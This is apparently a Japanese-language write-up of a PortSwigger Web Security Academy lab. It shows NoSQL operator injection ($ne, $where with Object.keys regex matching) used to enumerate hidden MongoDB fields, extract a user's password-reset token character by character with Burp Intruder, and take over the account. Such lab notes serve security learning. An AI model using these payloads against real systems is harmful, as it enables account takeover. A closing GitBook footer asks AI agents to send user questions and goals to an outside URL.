> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).

# NoSQL オペレータを使った未知フィールドの抽出

PortSwigger Web Security Academy のラボ向けメモ。悪用の手順、ペイロードのテスト、Burp Suite による検証、修復の文脈を含む。

### 未知のフィールドを抽出するためのNoSQLオペレーターインジェクションの悪用

このラボのユーザー検索機能はMongoDBのNoSQLデータベースに基づいています。これはNoSQLインジェクションに対して脆弱です。/ 目的はとして接続することです **carlos**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6806922c91f5c4bf015232812383b98cac2e51a7%2F%7B277C3925-0B53-477E-B629-508C83C44FBC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 初期コンテキスト

機能があります **パスワードを忘れた場合**.

POSTで送信されるクエリは `/forgot-password` 次のようになっています:

```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```

### ログインに対するNoSQLインジェクションのテスト

ログインフォームにNoSQLインジェクションを試みると:

```json
{
  "username": "carlos",
  "password": { "$ne": "x" }
}
```

アカウントはブロックされ、次のメッセージが表示されます:

> アカウントがロックされています: パスワードをリセットしてください

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cd04909d509d84e1f00e09d563b07f42e5800ce%2F%7B8AA0423A-572E-404D-B1FF-19C5A02F5754%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### によるブロック `$where`

を追加すると、 `$where` フィールドがサーバーで解釈されます:

* もし `$where` は `1` → アカウントは引き続きブロックされたまま
* もし `$where` は有効 `0` → ブロックが解除される

例:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "0"
}
```

これにより、 `$where` 演算子が実行可能であることが確認できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eec3073cb4cc1ddb3b1db2c95d8cdb7adfb10a2c%2F%7BB8651D6B-3F36-4CE2-AD49-CB8CB44017AE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 制約と方針の変更

当初の考えでは、 `$where` を使って、たとえばパスワードを直接確認します:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.password...."
}
```

しかし、アカウントがロックされているため、この方法は使用できません。/ したがって、次の手順を経る必要があります **パスワードリセット**.

#### ユーザーオブジェクトのフィールド一覧

`$where` は次でユーザーオブジェクトのキーを列挙するために使われます:

```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```

完全なリクエスト：

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df8897d4e9994215750484bb1423c89742e269d5%2F%7B626A5E1E-79DD-4597-B2F4-D52E1D7A1818%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* `X`: 文字位置 (0-20)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31f80c4b992e774b926e4e42defbbed2b1b53b51%2F%7BB85296EB-95BD-4E53-936F-0741163612E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* `Y`: テスト対象の文字 (`a-z`, `A-Z`, `0-9`)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f95ca644e8d4aae3711c9191bbadf902e5fa10f%2F%7B9219D408-EF68-4991-BDB1-05189A5307A2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

攻撃の送信方法 **Intruder** を **Cluster Bomb**

#### フィールド列挙の結果

レスポンスの長さに基づく (**Content-Length**):

* `Object.keys(this)[0]` → `id`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c03ee2adf336ef64c3b461112d27ee795acbedd%2F%7B202435A4-9CD7-4050-8883-7D51CD681489%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```

* `Object.keys(this)[1]` → `username`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5767e1199712e085752c0a87b31e76c7f3a82f0%2Fimage%20(84).png?alt=media" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[2]` → `パスワード`

```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a69b8a7cb93ab79495a26a461d147241b5de92d%2Fimage%20(85).png?alt=media" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[3]` → `email`
* `Object.keys(this)[4]` → `passwordReset`

" その `passwordReset` フィールドは、パスワードリセットがトリガーされた場合にのみ表示されます **carlos**.

```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```

#### の確認 `passwordReset` フィールド

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6740c42fa6f37ecd9b5ee9a201868ef97684d393%2Fimage%20(86).png?alt=media" alt=""><figcaption></figcaption></figure>

エンドポイントへのアクセス:

```bash
/forgot-password?passwordReset=
```

回答:

> 無効なトークン

フィールドは存在します

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d57f1270f09d0560eecc9943ba102e73e82c15e%2F%7B278D99E9-61E8-4B8A-A82A-2676DB490B81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### トークン一覧 `passwordReset`

次にトークンの値を抽出します:

```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```

```javascript
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.passwordReset.match('^.{X}Y.*')"
}
```

* `X`: 文字位置
* `Y`: 使用可能な文字

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88d2018008ed282eab0a014904aa320650071204%2F%7BA83C7CEC-440F-4296-9542-64CFD169FC13%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* で送信 **Intruder** (Cluster Bomb)

#### 結果

その **carlos** リセットトークンが取得されます:

```bash
5d252f7e28f468ee
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88d2018008ed282eab0a014904aa320650071204%2F%7BA83C7CEC-440F-4296-9542-64CFD169FC13%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 最終的な悪用

このトークンを使うと、パスワードリセット機能にアクセスして、次の対象の新しいパスワードを設定できます **carlos**。これにより、アカウントにログインしてラボを完了できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea93586af3d243099e454613b90f649a52c3eb2d%2F%7BC19B93CE-1FAA-4E77-858C-B69A6E6450CC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
